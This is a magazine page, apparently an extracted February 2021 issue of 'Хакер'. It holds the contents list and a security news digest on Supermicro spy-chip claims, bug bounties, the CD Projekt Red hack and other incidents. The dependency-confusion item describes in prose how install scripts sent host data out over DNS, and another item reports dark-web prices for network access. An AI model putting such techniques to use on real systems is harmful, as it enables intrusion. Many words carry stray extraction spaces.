The words you are searching are inside this book. To get more targeted content, please make full-text search by clicking here.
Discover the best professional documents and content resources in AnyFlip Document Base.
Search
Published by nadjusha98, 2021-04-13 04:28:15

Hakr02_2021

Hakr02_2021

ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает
редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:
год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится,
спеши исправить это!

CONTENTS№ 263Февраль2021

MEGANews
Всё новое за последний месяц

Android
Безопасность Android 12 и принцип работы корутин

Близкие контакты
Разбираемся, как работают системы безопасности кредитных карт

Близкие контакты
Как хакеры крадут деньги с банковских карт

Близкие контакты
Как работают атаки на чиповые карты

Пентест по-своему
Создаем собственную методику тестирования на примере машин с OSCP и Hack The Box

Это ловушка!
Как мы расставляли ханипоты и кто в них попался

Шпаргалка по persistence
Как надежно прописаться на хосте или выявить факт компрометации

Реверсинг .NET
Как искать JIT-компилятор в приложениях

HTB Passage
Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus

HTB Reel2
Захватываем машину через Outlook и разбираемся с технологией Just Enough
Administration

Больше не твои документы
Как выглядят облачные хранилища глазами хакера

Крадущийся питон
Создаем простейший троян на Python

IP без ошибок
Изучаем принципы работы с IP-адресами

Процессы и память в Linux
Отрывок из книги «Внутреннее устройство Linux»

Титры
Кто делает этот журнал

Мария «Mifrill» Нефёдова
[email protected]

В  этом  месяце:  патч  для  Cyberpunk  2077  задерж  ивае  тся
из‐за  взло ма  CD  Projekt  Red,  польз  овате ли  RuTracker  соб‐ 
рали  два  милл  иона  рубл  ей  на  жест  кие  дис ки,  в  китайс  ком
железе  вновь  обна ружил  и  шпио  нские  чипы,  сот рудник
Яндекса  ском про метир  овал  почт  и  5000  почт  овых  ящик  ов
польз  овате лей,  а  Билл  Гейт  с  пре дос терегае  т  —  если  вы
не Илон Маск, не спеш  ите покупать крип товалют  у.

НОВЫЕ «ЖУЧКИ»
В КИТАЙСКОМ
ЖЕЛЕЗЕ

В  2018  году  издан  ие  Bloomberg  опубл  икова ло  се рию  ста тей,  рас сказ  ыва‐ 
ющую  об  аппар  ат ных  «закл  адках»,  которые  яко бы  были  обна руже ны  на  сер‐ 
верных  плат  ах  Supermicro  и  поз воляли  китайс  ким  хакерам  скомп  ро мети‐ 
ровать их.

Так  как  это  обо рудо вание  исполь зуют  крупн  ые  тех ничес кие  комп  ании,
вклю чая  Apple  и  Amazon,  раз разил ся  гран диоз ный  скан дал.  Пред ста вител  и
Amazon  и  Apple  посп  ешили  катего ричес ки  опров  ерг  нуть  заяв ления
Bloomberg,  гла ва  Apple  говорил,  что  Bloomberg  вообщ  е  нуж но  отоз вать  этот
материа  л, и даже АНБ сообщ  ало, что это была «ложн  ая трев  ога». В ито ге вся
эта  исто рия  затих ла,  но  удост  оилась  сраз  у  двух  наг рад  Pwnie:  как  «самый
перехай пленн  ый баг» и «самый крупн  ый epic fail».

Те перь,  спуст  я  три  года,  журн  алист  ы  Bloomberg  под готови ли  новый  объ‐ 
емный  док лад  на  все  ту  же  тему.  На  этот  раз  издан  ие  ссыл  ает ся  на  дан‐ 
ные  50  раз ных  источник  ов  в  прав  итель стве  и  част  ном  сект  оре  (в  основном
неназ ванных) и заяв ляет, что про дук ция Supermicro более десяти лет исполь‐ 
зует ся  спец служб  ами  Китая.  Прич  ем  спецс  луж бам  США  яко бы  прек расно
извес тно  об  этом,  одна ко  информа ция  замалч  ивае  тся  ради  изу чения  атак
и соз дания эффектив ных средств защиты.

В новой статье упо мина ются три конк  рет ных инцид  ен та.
1. В  2010  году  Минист  ерс тво  обо роны  США  обна ружи ло,  что  тысячи  его

компь ютер  ов  отправ ляли  данн  ые  в  Китай  (виной  этом  у  был  скрыт  ый  код,
найд  ен ный в чипах, которые отвеч  ают за про цесс запус ка сер вера).
2. В  2014  году  комп  ания  Intel  замети ла,  что  китайс  кая  хак‐груп па  прон  ик ла
в  ее  сеть  через  серв  ер,  который  заг рузил  мал варь  с  сайт  а  обновлен  ий
неус танов ленно го вен дора.
3. В  2015  году  ФБР  пред  уп реждал  о  ряд  неназв  анных  комп  аний,  о  том,  что
китайс  кие шпи оны внедр  или допол нитель ный чип с бэк дором на сер веры
неко его про изво дите ля.
То есть Bloomberg сно ва пишет о том, что про дукц  ия Supermicro (в част  нос ти,
материн ские  пла ты  для  сер веров)  содер жит  скры тые  «зак ладки».  В  статье
упо минаю  тся  зло намер  ен ные  измен  ения  на  уровн  е  BIOS,  необ ходимые
для  заг рузки  и  выпол нения  шпи онског  о  кода,  скрыт  ого  в  прош  ивк  е.  Яко бы
данн  ый код нужен в том числ  е для атак на друг  их венд  оров.
Так же  в  статье  утвер жда ется,  что  еще  в  2012  году  ФБР  начало  конт рраз‐ 
ведыва тель ную  опе рацию,  в  ходе  которой  были  получен  ы  орде ра  для  наб‐ 
людения за групп  ой сот рудни ков Supermicro. Журн  алист  ы не знаю  т, прод  ол‐ 
жает ся ли это рас сле дован  ие до сих пор, но утвер ждаю  т, что ФБР сот рудни‐ 
чало  с  част  ным  сек тором,  чтоб  ы  изуч  ить  «шпио  нские  микр  осхе мы»,  скрыт  ые
на материнс  ких пла тах.
В ответ на очер  ед ную пор цию обви нений в свой адрес предс  тав  ите ли Su‐
permicro опуб ликова ли длин ное заявл  ение, в котором вновь все отриц  ают:

«Статья  Bloomberg  —  это  смесь  из  раз розненн  ых  и  неточ ных  утвер- 
жден  ий, появивш  ихся мно го лет назад. В ней при веде ны надуман ные
выводы, которые вновь не выдерж  ива ют никакой крит  ики.

Факт  ическ  и  в  прош лом  месяце  Агентство  нацио  наль ной  безопас- 
ности США сно ва сообщ  ило Bloomberg, что оно прид  ер жива ется сво их
комм  ентар  иев, данн  ых в 2018 году, и „не может под твер дить, что этот
инцид  ент  или  пос леду ющие  опи сан ные  меры  реаги рова ния  ког- 

‑да либо имел  и мест  о“.

Нев зирая  на  утвер жден  ия  Bloomberg  о  пред полагае  мых  рас сле- 
дова ниях,  свя зан ных  с  кибер-  или  нацио  наль ной  безопас ностью,
которые  яко бы  про водят ся  уже  более  десяти  лет,  ни  прав  итель ство
США, ни наши пар тнер  ы или клие  нты ни разу не свя зыва лись с Super-
micro по поводу этих предп  олага емых расс  ле дова ний».

Как  и  три  года  назад,  в  этот  раз  опять  ник то  не  пред ста вил  доказа тельс  тв
сущест  во вания «шпи онских чипов». Зато Bloomberg опять крит  икую  т ИБ‐спе‐ 
циалис ты, вклю чая, напр  имер, Тэвиса Орманди из Google Project Zero.

В  новом  отчет  е  Bloomberg  фигурир  ует  мало  наз ванных  источник  ов,  но  один
из них — это Мукул Кумар (Mukul Kumar), гла ва безопасн  ости комп  ании Altera.
Он  уве ряет,  что  узнал  о  шпи онских  чипах  во  вре мя  несек ретног  о  бри финг  а.
«Это  был  шпи онаж  на  самой  плат  е.  На  пла те  была  мик росхем  а,  которой
не  дол жно  было  там  быть,  и  она  „зво нила  домой“,  не  в  Supermicro,  а  в
Китай», — цитируе  т Bloomberg.

По сле дам новой статьи Bloomberg журн  алист  ы издан  ия The Register про‐ 
вели  собс твенн  ое  неболь шое  расс  ле дова ние:  они  поговор  или  с  быв шим
руково дител  ем  круп ной  полуп ровод никовой  ком пании,  который  попр  осил
не  называть  его  имен  и.  К  удивл  ению  жур налист  ов,  тот  счел  чип,  упо мянут  ый
в отчет  е Bloomberg, име ющим пра во на жизнь, а сам отчет дост  овер ным.

«Я  держ  ал  в  руках  физическ  ие  ули ки  и  встре чал  [подобн  ые  раз работ ки]
нес кольк  их  пра витель ств»,  —  заявил  источник.  По  его  слов  ам,  в  подобн  ых
опе рация  х преу  спел  и Китай, Изра иль и Великоб ритания, а такж  е такими раз‐ 
работ ками занима ются Франц  ия, Гер мания и Рос сия.

Так же неназ ванный спи кер The Register говорит, что атак  и, подоб ные опи‐ 
санн  ым Bloomberg, дей ствит  ель но слу чают ся, но, как прав  ило, они напр  авле‐ 
ны на получен  ие дост  упа к кри тичес ки важ ным сист  емам, и речь в таких слу‐ 
чаях  идет  о  наци ональн  ой  безопас ности.  По  его  сло вам,  соф твер ные  атак  и
реали зовать куда про ще, но их так же лег че обна ружить. Зато сложн  ость сов‐ 
ременн  ого аппар  ат ного обес печения серье  зно зат рудня ет поиск таких «зак‐ 
ладок».

МАЛВАРИ НА GO СТАЛО НА 2000% БОЛЬШЕ

Эк спер ты  ком пании  Intezer  под счи тали,  что  с  2017  года  количес тво  вред  онос ных  прогр  амм,

написанн  ых на язык  е Go, увел  ичи лось на 2000%, и в нас тоящее врем  я такая малв  арь уже ста‐ 

ла обычн  ым явлен  ием.

Как пра вило, на Go пишут ботнеты, нацелен ные на IoT‐устрой ства и Linux. Они либо устан  ав‐ 

лива ют  крип товалютн  ые  майн  еры,  либо  исполь зуют  заражен ные  устройс  тва  для  DDoS‐атак.

Кром  е того, на Golang пишут все больш  е вымогателей.

РЕКОРД BUG BOUNTY

Ком пания Google опуб ликова ла ста тист  ику вып лат по прогр  аммам bug bounty
за про шедш  ий 2020 год. Ока залось, за это врем  я исслед  оват  ели из 62 стран
мира  обнар  ужил  и  662  уязв  имос ти  в  прод  укт  ах  Google,  зарабо тав  на  этом
более 6 700 000 дол ларов. Это новый рекорд и самая крупн  ая сум ма выпл  ат
за  все  годы  сущес тво вания  прог рамм  воз награж дения  за  уязв  имост  и,  пре‐ 
вышаю  щая даже 6 500 000 дол ларов, пот рачен ные ком пание  й в 2019 году.

Боль шинс тво  вып лат  ИБ‐экспер ты  получи ли  за  ошиб ки,  най денн  ые  в  рам ках
прог раммы  Chrome  VRP  (Vulnerabilities  Rewards  Program):
более  2  100  000  дол ларов  за  300  уяз вимост  ей,  обна ружен ных  в  бра узер  е
Google. Это на 83% боль ше, чем в 2019 году.

Еще  одной  важн  ой  частью  прогр  аммы  комп  ании  ста ла  bug  bounty  ини‐ 
циатив  а  для  Android.  На  уязв  имос тях  в  коде  мобиль ной  ОС  иссле дова тели
зарабо тали поряд ка 1 740 000 дол ларов, и еще 270 000 дол ларов им при нес‐ 
ли  ошибк  и,  найд  енн  ые  в  популяр ных  и  широко  исполь зуемых  при ложен  иях
из Google Play Store.

Так же  в  отчет  е  ком пании  перечис лены  след  ующие  интер  ес ные  циф ры
минув шего года:
• Бо нус  за  баги  в  предв  арительн  ой  верс  ии  Android  11  сост  авлял

более  50  000  дол ларов  и  был  прим  енен  к  11  отчет  ам.  Это  поз волило
Google исправ  ить ряд проб лем еще до офиц  иальн  ого релиза Android 11.
• Ко ман де  исслед  оват  елей  360  Alpha  Lab,  орга низо ван ной  при  ком пании
Qihoo  360,  прин  ад лежат  рекор дные  восемь  эксп  ло итов  (30%  от  общег  о
количест  ва)  для  разл  ичных  уязв  имост  ей.  Иссле дова тели  лидиру ют  в  этой
области, так как за свой эксп  лои  т 2019 года они получи ли рекор дную вып‐ 
лату  в  раз мере  161  337  дол ларов  (плюс  еще  40  000  дол ларов  в  рамк  ах
Chrome VRP).
• Дру гой неназв  анный исслед  ова тель предс  та вил в 2020 году два эксп  ло ита
и  теперь  тоже  борет ся  за  перв  ое  мест  о,  так  как  сумм  арный  разм  ер
зарабо танн  ых им воз награжд  ений приб лижа ется к 400 000 долл  аров.
По  прог рамме  иссле доват  ель ских  гран тов  Google  ИБ‐иссле дова телям  было
передан  о  око ло  400  000  дол ларов.  Так,  грант  ы  получи ли  более  180  экспер‐ 
тов, которые в ито ге прис лали 200 отчет  ов об ошибк  ах, благ  ода ря чему были
обнар  ужен  ы  100  под твержден ных  багов  в  про дук тах  Google  и  опен сор сной
эко сис теме.

7100 ДОЛЛАРОВ ЗА ДОСТУП К ЧУЖОЙ СЕТИ

В  усло виях  панд  емии  и  повс  емес тно го  переход  а  на  уда лен ку  торг  овля  пер вичным  дост  упом
к сетям ком паний и орган  иза ций набира ет обор  оты. По информа ции Digital Shadows, уже более

500 торг  овых площ  адок предл  агаю  т такие «товары». Так называ емые брок  еры перв  ичног  о дос‐ 

тупа  взлам  ываю  т  сети  ком паний  и  ком пром  етир  уют  сотр  удни ков,  но  не  заходят  дальш  е  это го
и дей ствую  т как поср  едни ки, про давая полученн  ый дост  уп дру гим зло умышл  енни кам.

Средн  яя цена дос тупа к чужой сети сос тавля ет 7100 долл  аров США.

Ито говая стои  мость дос тупа зависит от дохода организации, количества сотрудников,
количества доступных устройств и типа доступа.

На ибол  ее популярн  ым методом прон  икн  овения в чужие сети по‐преж нему остае  тся RDP — 17%
от общег  о чис ла объя  вле ний. Такж  е у RDP‐дос тупа самая высокая средн  яя цена — 9800 дол‐ 

ларов.

Дос туп уровн  я админ  ист  рат  ора домена такж  е ценитс  я на чер ном рын ке: таких объ явлен  ий нас‐ 

читыва ется 16% от общег  о чис ла, и сред няя цена сос тавля ет 8187 долл  аров.

Из‐за общем  иро вой тен денции перехо да на удал  енн  ую работу вырос спрос на дос туп к VPN,

который поз воля ет зайт  и в чужую кор поративн  ую сеть. Сред няя цена такого дост  упа сост  авля ет

2871 долл  ар (15% от обще го чис ла объ явле ний).

НИКАКИХ IP
ДЛЯ GOOGLE

В  гряд  ущей  iOS  14.5,  которая  выйд  ет  в  ближ  айш  ие  месяцы,  появит ся  фун‐ 
кция,  которая  перенапр  авит  весь  траф  ик  Safe  Browsing  в  бра узе ре  Safari
через  прок си‐серв  еры,  кон трол  ируе  мые  Apple.  Таким  образ  ом  в  комп  ании
хотят  сохр  анить  кон фиденц  иаль ность  польз  овате лей  и  не  поз волить  Google
узнать их IP‐адрес  а.

Сна чала информа ция о новой функ  ции появи лась на Reddit, но вскор  е эти
слух  и  подт  верд  ил  глав  а  отдел  а  раз работ ки  WebKit  Мацей  Ста ховяк  (Maciej
Stachowiak).  Новая  функ  ция  будет  работать  лишь  в  том  слу чае,  если  поль‐ 
зователь  актив  иро вал  опцию  Fraudulent  Website  Warning  («Пре дупр  еждать
о мошен ническ  их сайт  ах») в наст  рой ках Safari. Эта опция обес печивае  т под‐ 
держ  ку тех нологии Safe Browsing от Google.

Safe  Browsing  работа ет  прост  о:  про веряе  т  любой  URL‐адрес,  к  котором  у
поль зователь  пытае  тся  получить  дост  уп,  отправл  яя  этот  URL‐адрес  (в  ано‐ 
нимиз  иро ванн  ом  виде)  на  серв  еры  Google,  а  затем  сист  емы  комп  ании
получаю  т  дост  уп  к  сай ту  и  скан  ирую  т  его  на  наличие  угроз.  Если  на  сай те
обна ружен  ы мал варь, фишин говые фор мы и друг  ие угроз  ы, Google сообщ  ает
Safari поль зовате ля, что нужн  о бло киров  ать дос туп к сайт  у, и показы вает пол‐ 
ноэкр  анное пре дуп режден  ие.

Неск  ольк  о  лет  назад,  когд  а  в  Google  толь ко  запус тили  API  Safe  Browsing,
комп  ания «видела», к каким сай там обра щает ся поль зователь. Одна ко потом
раз работ чики  пред прин  яли  ряд  шагов  для  ано нимиз  ации  этих  данн  ых.  Тем
не  менее  Google  по‐преж нему  знае  т  IP‐адрес,  с  которог  о  при ходит  запр  ос
на про вер ку Safe Browsing.

«Пробл  ема  в  том,  что  Update  API  Safe  Browsing  никог да  не  был
безопас ным.  Его  цель  закл  ючалась  не  в  обесп  ечении  пол ной  кон- 
фиден циальн  ост  и  для  польз  овател  ей,  а  скор  ее  в  ухудш  ении  качест  ва
данн  ых,  которые  собираю  т  про вай деры»,  —  еще  в  2019  году  писал
извес тный  крипт  ограф  и  про фесс  ор  унив  ер ситета  Джон са  Хопк  инса
Мэттью Грин (Matthew Green).

Но вая  фун кция  Apple  будет  передав  ать  все  запр  осы  Safe  Browsing  через
собст  вен ный  прок си‐серв  ер  Apple,  и  в  резуль тате  все  они  будут  выг лядеть
как пост  упаю  щие с одно го и того же IP‐адрес  а.

ГЕЙТС О КРИПТОВАЛЮТНОМ АЖИОТАЖЕ

В  февр  але  2021  года  Tesla  Илон  а  Мас ка  купила  бит кой нов  на  1  500  000  000  дол ларов  США,
а стои  мость битк  ойн  а в этом месяце пре высил  а 56 000 дол ларов, устан  овив новый абсо лютн  ый
рекорд. Разумее  тся, на фоне таких новос тей интер  ес к крип товалют  ам сно ва рас тет, и мног  ие
стрем  ят ся  инвестир  овать  в  крипт  овалют  у,  не  сильн  о  разб  ирая  сь  в  вопр  осе.  На  это  обра тил
вним  ание Билл Гейт  с, общая  сь с журн  алис тами Bloomberg.

→ «У Ило на куча денег, и он очень прод винутый, так что я не бес покою  сь о том, что его бит‐ 
кой ны будут хаотичн  о рас ти и падать. Но я прав да счит  аю, что этом  у помешат  ель ству подд  ают‐ 
ся даже те люди, у которых может не быть лиш них средств в запасе. Поэтом  у в отнош  ении бит‐ 
койн  а  я  наст  ро ен  не  слишк  ом  опти мис тично.  Я  счит  аю,  что,  если  у  вас  мень ше  денег,  чем
у Ило на, вам, пожалуй, стои  т быть осто рож нее»
— Билл Гей тс в интервью Bloomberg

ЯНДЕКС.УТЕЧКА

В середин  е февр  аля ком пания «Яндекс» сооб щила, что во врем  я регуляр ной
про вер ки ее служ ба безопас ности выявил  а факт внут ренней утеч ки дан ных.

Расс  ле дова ние  показал  о,  что  один  из  сот рудни ков  ком пании  пре дос‐ 
тавлял  несанк  ци они рованн  ый  дост  уп  к  поч товым  ящик  ам  поль зовате лей.
Это был один из трех сист  емных адми нист  ра торов, «облад  авш  их такими пра‐ 
вами дост  упа, необ ходимы ми для выпол нения рабочих задач по обес печению
тех ничес кой  подд  ер жки  серв  иса».  В  резуль тате  его  дей ствий  ока зались
скомп  ро метир  ова ны 4887 поч товых ящик  ов.

Со общае  тся, что в наст  оящее врем  я неавт  оризов  анн  ый дос туп в скомп  ро‐ 
мети рованн  ые  ящик  и  уже  заб локиро ван,  а  все  пост  ра давш  ие  получи ли  уве‐ 
домл  ения  о  необх  одимос ти  сме ны  пароля.  Такж  е  комп  ания  уже  обра тилась
в пра воохр  анитель ные орган  ы.

«По  выявл  енном  у  инци ден ту  про водит ся  внут реннее  рас сле дова ние,
и  будут  пересм  отрен  ы  про цесс  ы  работы  сотр  удник  ов,  обла дающих
админ  ис тра тивн  ыми  прав  ами  такого  уровн  я  дост  упа.  Это  поможет
минимиз  иро вать  вли яние  человеч  ес кого  факт  ора  на  безопас ность
дан ных поль зовате лей.

Мы  очень  сожалее  м  о  случ  ив шемся  и  при носим  извин  ения  поль- 

‑зовате лям,  которые  пост  ра дали  из за  этог о  инцид  ент  а»,  —  пишут

пред ста вител  и Яндекса.

1000 РАЗРАБОТЧИКОВ ЗА ВЗЛОМОМ SOLARWINDS

В интервью CBSNews през  идент Microsoft Брэд Смит (Brad Smith) заявил, что недав няя ата ка
на SolarWinds была «самой круп ной и самой изощ ренной, которую он ког да‐либо видел».

По  его  слов  ам,  ана лиз  взлом  а,  пров  еденн  ый  спец  иалис тами  ком пании  (над  расс  лед  ова нием

кор пели  более  500  спец  иалис тов  Microsoft),  позв  оляе  т  пред положить,  что  над  этой  атак  ой
работа ли  свы ше  1000  разр  аботч  иков.  При  этом  Смит  говорит,  что  в  итог  е  злоу  мышл  енни ки
перепи сали всег  о 4032 строк  и коде в плат формы Orion, который в целом содерж  ит мил лионы

строк кода.

→Продолжение статьи

←  Начало статьи

ВЗЛОМ
CD PROJEKT RED

В  начале  фев раля  2021  года  ком пания  CD  Projekt  Red  сооб щила,  что  стал  а
жерт  вой  шифр  овальщ  ика.  Тог да  вымогат  ели  утвер ждал  и,  что  похитил  и
исходные  коды  таких  игр  ком пании,  как  Cyberpunk  2077,  The  Witcher  3  (вклю‐ 
чая  еще  не  вышедш  ую  верс  ию  с  рей трейс  ин гом)  и  Gwent,  а  такж  е  финан‐ 
совую, юри дичес кую, админ  ист  ра тив ную и HR‐докумен тацию.

CD Projekt Red сра зу заявил  а, что не намерен  а вес ти перегов  оры с прес‐ 
тупни ками  и  плат  ить  им  выкуп,  понимая,  что  в  ито ге  скомп  ро мети рованн  ые
дан ные все равн  о могут быть раск  рыт  ы.

«Хотя некото рые устройс  тва в нашей сети были зашиф рованы, резер- 
вные  копии  оста лись  нет ронуты ми.  Мы  уже  защитил  и  нашу

‑ИТ инфраструкт  уру и начали вос стан  овл  ение данн  ых», — писали раз- 

работч  ики.

Вско ре  зло умыш ленни ки  выс тавили  похищенн  ые  дан ные  на  аук цион  в  дар‐ 
кнет  е.  Стар товая  цена  «лота»  с  исходным  и  кодами  игр  и  дру гой  украд  ен ной
информа цией  сос тавля ла  мил лион  дол ларов  с  шагом  500  тысяч  долл  аров,
а «блиц‐цена» рав нялась семи мил лионам дол ларов.

Од нако в ито ге аук цион злоу  мыш ленни ков заверш  ился, не успев начатьс  я.
Хакеры  сооб щили,  что  им  пост  упило  предл  ожение  «вне  рамок  форума»,
которое их устро ило, дан ные были прод  аны с усло вием дальн  ейше го нерас‐ 
простран  ения, и в ито ге аук цион закр  ылся.

ИБ‐иссле дова тели  призн  ают,  что  теперь  мы  вряд  ли  узнае  м,  кто  купил  эту
информац  ию. Согл  асно цир кулирую  щим в сети теориям, при обрести данн  ые
мог кто угод но, от кон курент  ов CD Projekt Red, жела ющих проа  нал  изир  овать
исходни ки и докумен ты в поиск  ах корп  оратив ных сек ретов, до самой CD Pro‐
jekt  Red,  которая  все  же  пош ла  на  сдел ку  с  хакерам  и,  чтоб  ы  сохр  анить  те
самые сек реты в тай не и пред  от врат  ить утеч ку.

Ин терес но,  что  из‐за  взлом  а  комп  ании  задерж  ивае  тся  след  ующий  круп‐ 
ный  патч  для  Cyberpunk  2077  (1.2).  В  декаб ре  прошл  ого  года  раз работ чики
обе щали  выпус тить  в  янва ре  и  фев рале  боль шие  пат чи.  Они  дол жны  были
исправ  ить  мно жест  во  ошиб  ок  и  извес тных  проб лем,  с  которы ми  сталк  ива‐ 
ются  игро ки,  а  такж  е  улучш  ить  прои  зво дительн  ость.  Патч  1.1  дей ствит  ельн  о
был  выпущен  в  январ  е,  как  и  план  иров  алось,  а  вот  патч  1.2  теперь  отлож  ен
как минимум до середи ны март  а.

ПРАЗДНИЧНЫЙ ФИШИНГ

Экс  перт  ы Check Point расс  ка зали, что хакеры «отме тили» День свят  ого Валент  ина с раз махом.
Трад  ици онно фев раль — это месяц покупок ко Дню свят  ого Вален тина, а в текущих усло виях,
связ  ан ных  с  пан демие  й,  в  целом  отмеч  ает ся  рост  онлайн‐шоп пинга  и  воз никнов  ение  новых
спо собов мошен ничес тва на этом фоне.

Ежен  едельн  о  ана лити ки  фикс  ировал  и  более  400  фишинг  овых  кам паний,  пос вящен ных  праз‐ 

дни ку.

Числ  о новых доменов выросл  о на 29% по сравн  ению с прошл  ым годом и дос тигло 23 000.
Око ло 2,3% доменов (523) ока зались вред  онос ными или подозр  итель ными.

Инт  ерес но,  что  в  этом  году  некотор  ые  зло умышл  енни ки  стал  и  пов торно  исполь зовать  темы
и веб‐стра ницы, оставшие  ся от прош лых фишинг  овых кам паний.

НОВАЯ АТАКА
НА ЦЕПОЧКУ
ПОСТАВОК

ИБ‐эксперт  Алекс  Бир сан  (Alex  Birsan)  под робно  опис  ал  новую  проб лему,
которая пред ставл  яет собой вариа  цию атак  и на цепоч ку пост  авок. Эта вари‐ 
ация ата ки получил  а наз вание dependency confusion (путаниц  а зависим  ост  ей)
или  substitution  attack  (атак  а  на  замещен  ие).  За  обна ружен  ие  этог  о  спос  оба
атак исслед  ова тель уже получил от разл  ичных комп  аний более 130 тысяч дол‐ 
ларов по прог раммам bug bounty.

Дел  о  в  том,  что,  экс плуа  ти руя  эту  проб лему,  спе циалист  сумел  загр  узить
собс твен ный  (без вред ный)  код  в  сис темы  Microsoft,  Apple,  PayPal,  Shopify,
Netflix, Yelp, Tesla, Uber и дру гих ком паний.

Суть dependency confusion прос та: мал варь из опен сор сных репозит  орие  в
(вклю чая  PyPI,  npm  и  RubyGems)  автом  атич  еск  и  рас пре деляе  тся  даль ше
по  всей  цепоч ке  пост  авок,  прон  икая  во  внут ренние  прил  оже ния  комп  аний
без какого‐либо учас тия поль зовате лей. Именн  о это отли чает атак  у от обыч‐ 
ного тай псквот тинга.

На  эту  прос тую  идею  Бирс  ана  в  прошл  ом  году  натол кнул  его  кол лега
Джас тин  Гар днер  (Justin  Gardner).  Тот  поделилс  я  с  Бирс  аном  файл  ом
манифест  а  package.json  из  npm‐пакета,  использ  уемог  о  внут ри  PayPal.  Ока‐ 
залось,  что  некото рых  пакетов  из  манифес та  нет  в  общед  ос тупном  репози‐ 
тории  npm,  это  при ват ные  пакеты,  созд  анные  инже нерам  и  PayPal,  и  они
использ  уют ся и хра нят ся тольк  о внут ри ком пании.

Гля дя на это, Бир сан задал ся вопр  осом, дол жен ли пакет с таким же имен  ем
сущест  во вать в общед  ос тупном репози тории npm, и если да, то какой из них
в  ито ге  будет  иметь  прио  рит  ет?  Что бы  пров  ерить  свою  теорию,  исслед  ова‐ 
тель начал искать наз вания дру гих при ват ных пакетов, которые можн  о обна‐ 
ружить  в  файл  ах  манифест  ов  в  репозит  ория  х  GitHub  или  в  CDN  извес тных
ком паний, но которых нет в общед  ост  упных репози тори ях.

Об наружив неск  оль ко таких целей, Бирс  ан стал соз давать фей ковые про‐ 
екты с такими же назв  ания  ми в npm, PyPI и RubyGems (хотя, отме чает Бир сан,
уязв  имы  и  дру гие  менед жеры  пакетов,  в  том  чис ле  JFrog  и  NuGet).  Эксперт
созд  авал эти фальш  ивк  и из‐под сво его аккау  нта и сопр  овож дал поясн  ение  м,
что они пред назнач  ены исклю читель но для иссле дова ния безопас ности и не
содерж  ат никако го полезн  ого кода.

Экс  пер  имент  показал,  что,  если  пакет  зависим  ост  ей,  использ  уемый  при‐ 
ложен  ием,  сущест  ву ет  как  в  обще дост  упном  опенс  ор сном  репозит  ории,  так
и  в  част  ной  сбор ке,  публ  ичный  пакет  в  итог  е  получае  т  прио  рит  ет  и  будет
использ  ован  без  каких‐либо  дейс  твий  со  стор  оны  разр  абот чика.  Такж  е  ока‐ 
залось,  что  в  слу чае  с  пакетам  и  PyPI  пакет  с  более  высокой  верс  ией  име ет
прио  рит  ет незави симо от того, где он расп  оложен.

За тем, при дер живая  сь той же так тики, Бир сан успешно ата ковал Microsoft,
Apple,  PayPal,  Shopify,  Netflix,  Tesla,  Yelp,  Uber  и  друг  ие  крупн  ые  ком пании,
прос то  опубл  иковав  пакеты  с  такими  же  имен  ами,  как  у  пакетов,  исполь‐ 
зуемых внут ри комп  аний.

«Такие уяз вимос ти и недораб  отк  и в автом  атиз  иро ванн  ых инс тру мент  ах
для  сбор ки  или  уста нов ки  могут  при вес ти  к  тому,  что  обще дос тупные
зависи мос ти будут оши боч но при нимать ся за внут ренние зависим  ост  и
с таким же имен  ем», — рас сказ  ал Бирс  ан изда нию Bleeping Computer.

Все тест  овые пакеты исслед  оват  еля содерж  али пре дуст  анов ленные скрип ты,
которые авто матич  ес ки запус кали скрипт для извлеч  ения иден тифици рующей
информац  ии  с  «заражен ной»  машины,  сра зу  пос ле  пула  пакетов.  Понимая,
что его скрипт  ы будут устан  авл  ивать соедин  ение из защищенн  ых кор поратив‐ 
ных сетей, Бирс  ан решил обойт  и механиз мы безопасн  ости, исполь зовав DNS
для извле чения дан ных.

Прим  ер работы такого скрипт  а мож но увид  еть ниже: он сообщ  ал иссле дова‐ 
телю,  что  IP‐адрес,  с  которо го  исхо дит  запр  ос,  при надл  ежит  PayPal,  а  так же
называл имя польз  овател  я и домаш ний каталог пос тра дав шей сис темы.

Собр  ав  таким  образ  ом  дан ные  и  убе див шись  в  сво ей  пра воте,  исслед  ова‐ 
тель  начал  сооб щать  о  сво их  выводах  уяз вимым  ком пания  м,  получая  воз‐ 
награжд  ения в рамк  ах прогр  амм bug bounty. К при меру, PayPal уже обнар  одо‐ 
вала  отчет  экспер та  на  HackerOne  и  выпл  атила  ему  30  тысяч  долл  аров;  Yelp
тоже  под твер дила  выводы  Бир сана  и  воз наград  ила  его  15  тысячам  и  дол‐ 
ларов.

Но  серь езнее  всех  к  dependency  confusion,  пожалуй,  отнеслась  ком пания
Microsoft.  Данн  ой  проб леме  был  присв  оен  идент  ификат  ор  CVE‐2021‐24105
(для Azure Artifactory), и ком пания не толь ко вып латила эксперт  у 40 тысяч дол‐ 
ларов, но и опуб ликовал  а бюл летень безопасн  ости, где подр  обно опи сывае  т
пробл  ему и пред лага ет методы ее решения. В час тнос ти, инже неры Microsoft
рекомен дуют минимиз  иров  ать риск  и, защищая при ват ные пакеты с помощью
кон тро лируе  мых  областей  в  публ  ичных  репози тория  х,  а  такж  е  исполь зовать
верифи кацию на сто роне кли ента (закр  еплен  ие вер сий, пров  ер ка целост  нос‐ 
ти).

GOOGLE СПОНСИРУЕТ РАЗРАБОТЧИКОВ LINUX

Пред ста вител  и Linux Foundation объя  ви ли, что ком пания Google будет спонс  ировать двух раз‐ 
работч  иков ядра, чтоб  ы те могл  и посв  ятить все свое рабочее вре мя повышен  ию безопас ности
и устой чивост  и платф  ормы. Таким образ  ом будут тру доуст  рое  ны Густ  аво Сил ва (Gustavo Silva)
и Натан Ченс  лор (Nathan Chancellor). Пер вый займ  ет ся отлов  ом багов до того, как они попадут
в  про дак шен,  а  такж  е  разр  абот кой  проа  ктивной  защиты.  Втор  ой  будет  спе циали зиров  ать ся
на  багах,  связ  анн  ых  с  при мене нием  Clang/LLVM,  а  такж  е  внедр  ении  сис темы  непр  ерывн  ой
